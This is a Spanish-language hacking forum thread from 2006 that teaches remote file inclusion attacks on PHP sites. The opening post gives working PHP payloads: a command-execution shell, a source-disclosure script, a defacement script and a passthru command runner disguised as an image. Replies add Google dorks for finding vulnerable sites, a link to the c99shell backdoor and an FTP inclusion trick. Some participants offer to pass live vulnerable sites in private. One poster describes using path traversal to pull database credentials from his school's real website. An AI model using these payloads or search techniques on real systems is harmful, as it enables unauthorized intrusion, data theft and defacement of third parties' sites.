Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: Hyde en 3 Noviembre 2006, 04:53 am



Título: Manual de RFI (Remote File Inclusion)
Publicado por: Hyde en 3 Noviembre 2006, 04:53 am
Por principio definamos que RFI significa Remote File Inclusion (Inclusion remota de archivos), esto es producto de una vulnerabilidad en los sitios web a traves de la cual se puede hacer una inclusion de un archivo al server. Para encontrar dichas vulnerabilidades y explotarlas habria que buscarlas con el metodo GET, esto es, ligar los datos a la URL con las variables despues de un signo de interrogacion (?), recordando usar como espacio el singo de mas (+), por ejemplo, cuando usamos el buscador de google nos aparece algo similar a esto:

www.google.com.ar/search?hl=es&ie=UTF-8&q=la+busqueda&meta=

En dicha URL encontramos las siguientes variables: hl, ie, q, meta

No me detendre a explicar el metodo GET y POST en este momento, tratare de hacer un texto mas explicito sobre ellos mas adelante. Para este documento se da por entendido que se tiene un concepto de estos.

Sigamos:

La vulnerabilidad se haria mas o menos asi: index.php?pagina=inicio.php  desde aqui se podrian comenzar con la inclusion de archivos si existe tal bug. Si encontramos alguna que tengamos la idea de que es vulnerable podriamos probarla con nuestro amigo google usando el siguiente camino:

http://www.aquilaweb.com/index.php?variable=http://www.google.com

Si vemos que dentro del sitio se carga la web de google existe la posibilidad de que sea vulnerable dicha web. Para seguir con la vulnerabilidad ahora colocamos lo siguiente:

http.//www.aquilaweb.com/vuln.php?page=http//www.tuweb.com/exploit.gif

Debemos tomar en cuenta que no podemos cambiar la extension a php porque se ejecutaria en nuestro servidor y no en el otro, para hacer esto se debe tener una extension como jpg o gif que deben incluir y el script que se ejecutara en la web victima.

Paseando por la web he encontrado estos scripts:

Citar
<?
/* Este código sirve para ejecutar comandos en el servidor de la web. Esto se hace mediante la siguiente función, que abre la shell y ejecuta el comando que se define por la variable çmd. En este caso es GET para que se pueda definir por la barra de direcciones. También es importante destacar que solo funciona si PHP está configurado con safe_mode OFF*/
$çmd=$_GET[çmd];
system($çmd);
?>


Citar
<?
/* Este archivo muestra el código fuente del archivo que se pasa por el método GET, mediante la variable file. */
$file=$_GET[file];
show_source($file);
?>

Fuente de scripts: texto de Paisterist (no recuerdo la URL exacta)

***


Cambiar el index:

Citar
<?
$fp=fopen("index.php","w+");

fwrite($fp,"<title>Hacked</title>
<body bgcolor="#000000" text="#FF9900">
<center>
<font face="Fixedsys">
<font size="6">Hacked</font><br>
<font size="2">Own yOur B0x!</font>
</center> \n");
fclose($fp);
?>


Otro sencillo ejemplo. Guardar com .gif, .jpg, o .txt y hacer el remote file inclusion con la variable vulnerable y la url de este archivo.

Citar
<?
  // çMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
  if (isset($chdir)) @chdir($chdir);
  ob_start();passthru("$çmd 1> /tmp/çmdtemp 2>&1; cat/tmp/çmdtemp;rm/tmp/çmdtemp");
  $output = ob_get_contents();
  ob_end_clean();
  if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output));
?>


Fuente: Ejemplos de RFI por el-brujo

***

El texto es totalmente hecho por mi basado en los textos de ambos sujetos. Cualquier publicacion externa debera llevar por lo menos la referencia de quienes han hecho los scripts y mia. Comentarios aqui.

Salu2

Hyde


Título: Re: Manual de RFI (Remote File Inclusion)
Publicado por: satan69 en 3 Noviembre 2006, 17:43 pm
ta bueno el manual... pero los ejemplo ubieras puesto con ejemplo de algunas web...


Título: Re: Manual de RFI (Remote File Inclusion)
Publicado por: Hyde en 3 Noviembre 2006, 21:01 pm
Imagina que lo hubiera hecho... muchos los hubieran usado contra las webs, ademas el fin es que aprendan no que se dediquen a hacerlo por ahi siempre.

Salu2

Hyde


Título: Re: Manual de RFI (Remote File Inclusion)
Publicado por: rakax en 4 Noviembre 2006, 17:19 pm
Buenas
Una pregunta,para encontrar una web k tenga una variable vulnerable puse algo asi en ggogle allinurl:.index.php?
pero esto como k no se acaba osea no encuentro nada hay alguna forma de encontrara web vulnerables mas rapido o mas facil?
Gracias.


Título: Re: Manual de RFI (Remote File Inclusion)
Publicado por: -sagitari- en 4 Noviembre 2006, 17:35 pm
Buenas
Una pregunta,para encontrar una web k tenga una variable vulnerable puse algo asi en ggogle allinurl:.index.php?
pero esto como k no se acaba osea no encuentro nada hay alguna forma de encontrara web vulnerables mas rapido o mas facil?
Gracias.

-.- ...

allinurl: index.php?ver=
allinurl: index.php?page=
allinurl: inicio.php?ver=
allinurl: *.php?ver=
allinurl: *.php?*=


No sé... ves probando... se nota que no entendiste el funcionamiento de la vulnerabilidad...
lee más tutos..... www.google.es


##Aquí os dejo el link del code de la shell c99shell muy buena...

http://dot.hazard.free.fr/hacking/exploits/Backdoor/c99shell.txt


~~~~~--
espero que lo uséis para aprendizaje acerca de la seguridad relacionada a webs...


Título: Re: Manual de RFI (Remote File Inclusion)
Publicado por: rakax en 4 Noviembre 2006, 19:06 pm
No si entender yo entiendo el problema es k nunca encuentro ninguna web,me e pasado 1 hoas buscando y no e encontrado (y eso k es el ataque k esta de moda) lo unico k me aparece son web k me saltan con lo tipico :
Warning: /home/.../..../..../..... lo mismo de siempre o sino la pagina no se encuentra.
Para mi k o tengo mala suerte o algo hago mal.  :P

P.D:Con respecto a la shell la intente probar en un server mio y no se por k me sale mucho codigo y partes en las que puedo subir archivo,pero si intento subir subir cualquier cosa no la sube sino que carga de nuevo la shell y no hace nada,la guarde en php por k esta en mi servidor,intente en .gif y me dice k no se puede cargar por k el codigo tiene errores.
Que sucede?


Título: Re: Manual de RFI (Remote File Inclusion)
Publicado por: Hyde en 4 Noviembre 2006, 20:33 pm
No todas las webs son vulnerables en el mismo sentido, debes probar con muchas y con distintas vulnerabilidades. No vas a encontrar una apenas comenzando, te lleva algo de tiempo...

Se me hace antietico poner aqui algunas que me se, pero te puedo mandar una, que ya no les importa saber nada de ella y la puedes usar de prueba, si quieres por privado.

Salu2

Hyde


Título: Re: Manual de RFI (Remote File Inclusion)
Publicado por: rakax en 4 Noviembre 2006, 21:18 pm
Te lo agradeceria mucho para ver si voy aprendiendo algo.
Gracias


Título: Re: Manual de RFI (Remote File Inclusion)
Publicado por: izengabe en 6 Noviembre 2006, 01:06 am
Hola!He estado probando lo que comentas con unas pruebas hechas por mí en mi máquina y no he logrado hacer que funcione correctamente.Me explico: con una extensión que no sea .php en el archivo malicioso(el que pongo yo en mi web),ya sea gif,jpg o directamente sin extensión,lo único que puedo hacer es ejecutar lo que ponga en el archivo sin poderle pasar parámetros mediante get.En cuanto cambio la extensión a .php puedo pasar parámetros,pero ocurre lo que comentas,que se ejecutaría en mi máquina...
Entonces mi pregunta es:qué configuración es necesaria para que esto funcione?mi configuración del php.ini está por defecto...
Bueno,espero haberme explicado bien... :rolleyes:


Título: Re: Manual de RFI (Remote File Inclusion)
Publicado por: Thaorius en 6 Noviembre 2006, 01:21 am
Solucion:
en vez de un server http, usar ftp, haci el archivo se descarga tal cual y el interprete de php lo procesa en el servidor victima, ejemplo:
Código:
www.pagina.com/ver.php?pagina=ftp://usuario:password@servidor.ftp.com/mixploit.php

Salludos


Título: Re: Manual de RFI (Remote File Inclusion)
Publicado por: izengabe en 6 Noviembre 2006, 16:25 pm
Ok,es buena la alternativa,no la he probado,pero supongo que funcionará.Pero aún así quiero saber la razón por la que a mí no me funciona de la forma original...Si no,no podré dormir... ;)


Título: Re: Manual de RFI (Remote File Inclusion)
Publicado por: rakax en 8 Noviembre 2006, 06:09 am
Si no me equivoco el exploit deberia de ir en otro formato k no sea .php por k se ejecutaria en tu servidor no en el de la victima,asi k seria correcto
Código:
www.pagina.com/ver.php?pagina=ftp://usuario:password@servidor.ftp.com/mixploit.gif
Citar


Título: Re: Manual de RFI (Remote File Inclusion)
Publicado por: Azielito en 8 Noviembre 2006, 16:58 pm
y ahora un script en php vulnerable xD
Código:
<?php
$archivo = $_GET['secc'];
include($archivo);
?>

Y en ASP
Código:
<%
Dim a
a = Request.QueryString("a")
if a <> "" Then
Server.Execute(a)
Else
Response.Redirect("index.htm")
End If
%>
supongo que los dos se entienden, con esto pueden poner en practica esta vulnerabilidad en http://localhost ;)


Título: Re: Manual de RFI (Remote File Inclusion)
Publicado por: rakax en 8 Noviembre 2006, 21:32 pm
Buenas gracias por el dato pero....
me instale el php y todo y cuando lo corro en localhost lo k me sale es esto
Código:
Notice: Undefined index: secc in c:\program files\easyphp1-8\www\file.php on line 2

Warning: main(): Failed opening '' for inclusion (include_path='.;C:/Program Files/EasyPHP1-8\php\pear\') in c:\program files\easyphp1-8\www\file.php on line 3

Me prece k es k tengo k definir el archivo k se va a abrir con el inclusion pero no entiendo bien.
si es asi como lo hago? (no se php,desgraciadamente)


Título: Re: Manual de RFI (Remote File Inclusion)
Publicado por: izengabe en 9 Noviembre 2006, 00:59 am
Hyde,si no te importa,a ver si puedes echarme un cable con lo que he comentado antes:que no me funciona pasar parámetros por get cuando la extensión del archivo no es php... :rolleyes:


Título: Re: Manual de RFI (Remote File Inclusion)
Publicado por: Hyde en 9 Noviembre 2006, 01:42 am
No se si entendi bien tu pregunta. Te refieres que al intentar obtener algo no te da :huh:

Para pasar el get debe de estar en php, mandame un privado para pasarte algo que quiza te sirva pero no lo voy a colocar aqui porque es de otra web.

Intenta con demas vulnerabilidades, yo solo puse un ejemplo pero existen muchas maneras mas.

Salu2

Hyde


Título: Re: Manual de RFI (Remote File Inclusion)
Publicado por: uniqdom en 14 Noviembre 2006, 21:00 pm
hola.. bueno el manual...
hace poco en la pagina de mi colegio me tope con una pagina  en la cual podia descargar archivos (guias, pruebas, etc...)

se me ocurrio que si modificaba los datos que se enviaban en la url podria obtener el codigo fuente de la pagina.

por ejemplo cambie de http://www.xxxxxx.cl/DescargarArchivo.php?Carpeta=fisica/guias&Archivo=cinematica.doc
http://www.xxxxxx.cl/DescargarArchivo.php?Carpeta=&Archivo=DescargarArchivo.php
y eso fue lo que paso. obtube las fuentes. me pase un rato descargando otras paginas.php hasta que me tope con el user y pass de la base de datos... ahi me surgio otra pregunta, pero es parte de otro tema...



aun no se como poder subir archivos a el servidor.
intente:
http://www.xxxxxx.cl/DescargarArchivo.php?Carpeta=&Archivo=http://www.google.com
y no me salio nada en pantalla. como estaba diseñado para descargar arhcivos pense que el archivo que me mandaba para bajar saldria el codigo html de google... pero no...


les dejo lo que venia en el codigo fuentede la pagina DescargarArchivo.php :
Código:
<?
$Archivo=$HTTP_GET_VARS["Archivo"];
$Carpeta=$HTTP_GET_VARS["Carpeta"];
$enlace = '/home/web/interactivo.maristas.cl/'.$Carpeta.'/'.$Archivo;
header ("Content-Disposition: attachment; filename=".$Archivo."\n\n");
header ("Content-Type: application/octet-stream");
header ("Content-Length: ".filesize($enlace));
readfile($enlace);
?>
 

asumo que el readfile($enlace); es con el que topo. porque supongo que intenta leer el archivo desde el servidor y no fuera.
alguien sabe que podria hacer??
igual voy a seguir buscando...